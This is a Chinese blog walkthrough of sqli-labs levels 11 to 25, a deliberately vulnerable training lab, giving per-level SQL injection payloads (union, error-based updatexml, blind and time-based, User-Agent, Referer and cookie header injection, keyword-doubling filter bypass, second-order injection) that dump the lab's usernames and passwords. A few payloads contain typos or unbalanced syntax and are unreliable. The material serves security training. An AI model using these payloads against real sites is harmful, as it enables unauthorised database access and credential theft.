【精选详细】sql-labs通关(SQL注入11-25)

在这里插入图片描述

sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为练习者提供良好的练习平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自信的可以完成。
查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select @@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema=‘库名’ limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1;

Less-11

闭合方式是1’ #

# 输入1' union select 1,2,来判断回显位置。
# 输入语句来爆数据库名和数据库的表名
-1' union 1,databse(),'group_concat(table_name) from information_schema.tables where table_schema='security' #

image-20240723181212573

# 爆数据库中的表的字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

image-20240723182508719

# 爆数据库中users中数据内容
-1' union select 1,group_concat(username,'-',password) from security.users #

image-20240723184910425

Less-12

闭合方式 ") #

和11关一样,只不过是闭合方式不一样

# 爆数据库名
-1) union select 1,database() #

image-20240723183234329

# 爆数据库中的表名
-1") union select 1,database() #

image-20240723183353294

# 爆数据库中users表的字段
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

image-20240723185025088

# 爆数据库中users表中所有的内容
-1") union select 1,group_concat(username,'-',password) from security.users #

image-20240723184436284

Less-13

闭合方式’) #

报错注入

# 使用报错注入的方式来对数据库名进行爆库
admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #

image-20240723192026231

# 对数据库中的表进行爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240723193556579

# 对users中的字段名爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240723193855709

# 把users表中的数据爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#

image-20240723193943402

Less-14

闭合方式 " #

报错注入的方法,与13关一样,闭合方式不一样

# 对数据库名爆出
admin" and updatexml(1,concat(0x7e,(database()),0x7e),1) #

image-20240723194830522

# 把数据库中的表名爆出来
admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240723194706403

# 爆出users中的字段名
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

image-20240723194917832

# 爆出users中的所有数据
admin" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #

image-20240723194946863

Less-15

此题使用联合查询和报错注入都无法成功,所以只能用盲注和时间注入来解答此题。

# 对数据库爆库
admin' and if(ascii(substr(database(),1,1))>115#
# 对数据库中表名进行爆出
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
# 爆出数据库中users表中的字段
admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
# 查询users表中所有的数据
admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #

Less-16

此题和15关一样,使用的是盲注,闭合方式不一样

闭合方式")

image-20240728142532685

image-20240728142542244

# 判断数据库的长度
admin") and if(length(database())>8, 0, sleep(5))-- -
# 判断数据库的名
admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))-- -
# 判断数据库的表名
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
# 判断表中的字段名
admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
# 判断表中的数据
admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -

Less-17

闭合方式为1’ #

使用报错注入,在new password中进行报错,因此在username中输入admin, new password中进行注入

# 对数据库进行爆库
1' and (updatexml(1,concat(0x7e, database(),0x7e),1)) #

image-20240724184125319

# 查询数据库中的表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240724184239178

# 查询users表中的字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240724184411026

# 对users中的数据进行爆出
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) #

image-20240724185055508

Less-18

闭合方式 ’ #

此题是http头部注入,使用User-Agent注入

# 输入正确的用户和密码显示出UA头,错误的用户和密码会导致页面显示没有变化

image-20240725083324317

# 进行抓包,然后对UA头进行注入,来爆数据库的名称
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

image-20240725083942502

# 查询数据库的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #

image-20240725084158862

# 查询表里的字段名
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#

image-20240725084354877

# 查询数据库表中的内容
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#

image-20240725084547815

Less-19

此题需要http头部注入,登录成功显示Referer报错注入

闭合方式是’

image-20240728141816579

image-20240728141848478

从中可以看出登录成功页面回显,失败则没有回显信息

因此我们使用referer进行报错

# 查询数据库名
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

image-20240728142103081

# 查询数据库的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
# 查询数据库表中字段
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
# 查询数据库所有数据
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#

Less-20

此题需要使用cookie来解答

# 当输入正确账户和密码时,页面显示的是cookie

image-20240725090531982

# 通过get抓包来获取数据的信息,输入cookie来注入爆数据库名
uname=-admin' union select 1,2,database()--+

image-20240725090830991

# 查询数据库中的表
uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image-20240725091101116

# 查询数据表中的字段
uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20240725091328351

# 查询数据库表里的内容
uname=-admin' union select 1,2,group_concat(username,'-',password) from security.users--+

image-20240725091628537

Less-21

闭合方式’)

此题需要将cookie的编码方式解码

然后再进行加密编码

然后再使用报错注入进行

# 爆出数据库名
') and updatexml(1,concat(0x7e,database(),0x7e),1)#

image-20240724192513640

# 爆出数据库中的表名
')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240724192926797

# 爆出users表中的字段
')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240724193111205

# 查询出users表中所有的数据
')and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #

image-20240724193323960

Less-22

闭合方式" #

和二十一关一样,只是闭合方式不一样

# 报错查询数据库
" and updatexml(1,concat(0x7e,database(),0x7e),1)#

image-20240724194109436

# 报错注入查询数据库下的表
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

image-20240724194220200

# 查询表下的字段
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

image-20240724194413649

# 查询数据库的内容
" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #

image-20240724194511948

Less-23

闭合方式 ’ or ‘1’='1

此关闭合会过滤符号,首先用or ’1‘=’1来进行闭合

然后再用联合查询

# 查数据库的名称
-1' union select 1,database(),3  or '1'='1

image-20240724194927743

# 查询数据库的表单
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3  or '1'='1

image-20240724195037179

# 查询数据库中表字段
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3  or '1'='1

image-20240724195214510

# 查询数据库中表的内容
-1' union select 1,(select group_concat(username,password)from users),3  or '1'='1

image-20240724195304802

Less-24

此题用了二次注入

# 注册一个用户名a 密码123456的用户

image-20240724205525235

# 注册一个a‘#的用户和密码
# 然后用错误的密码修改

image-20240724205950754

# 再次登录a 用刚才修改后的密码,发现登录成功

Less-25

闭合方式’ --+

首先使用联合注入,看到其回显位置

然后需要用双绕过来报错注入

# 联合注入,判断回显位置
-1' Union select 1,2,3 --+

image-20240724201601183

# 报错查询数据库
-1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) --+
-1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+     //两句都可以注入

image-20240724202032616

# 查询数据库下的表
-1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+

image-20240724202708142

# 查询数据库表下的字段
-1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrormation_schema.columns where table_name='users'),0x7e),1) --+

image-20240724203043402

# 查询数据库表下的内容 
-1' aandnd updatexml(1,concat(0x7e,(select group_concat(username,'-',passwoorrd) from security.users),0x7e),1) --+

image-20240724203333972
好小子,离成功又近一步

  • 9
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值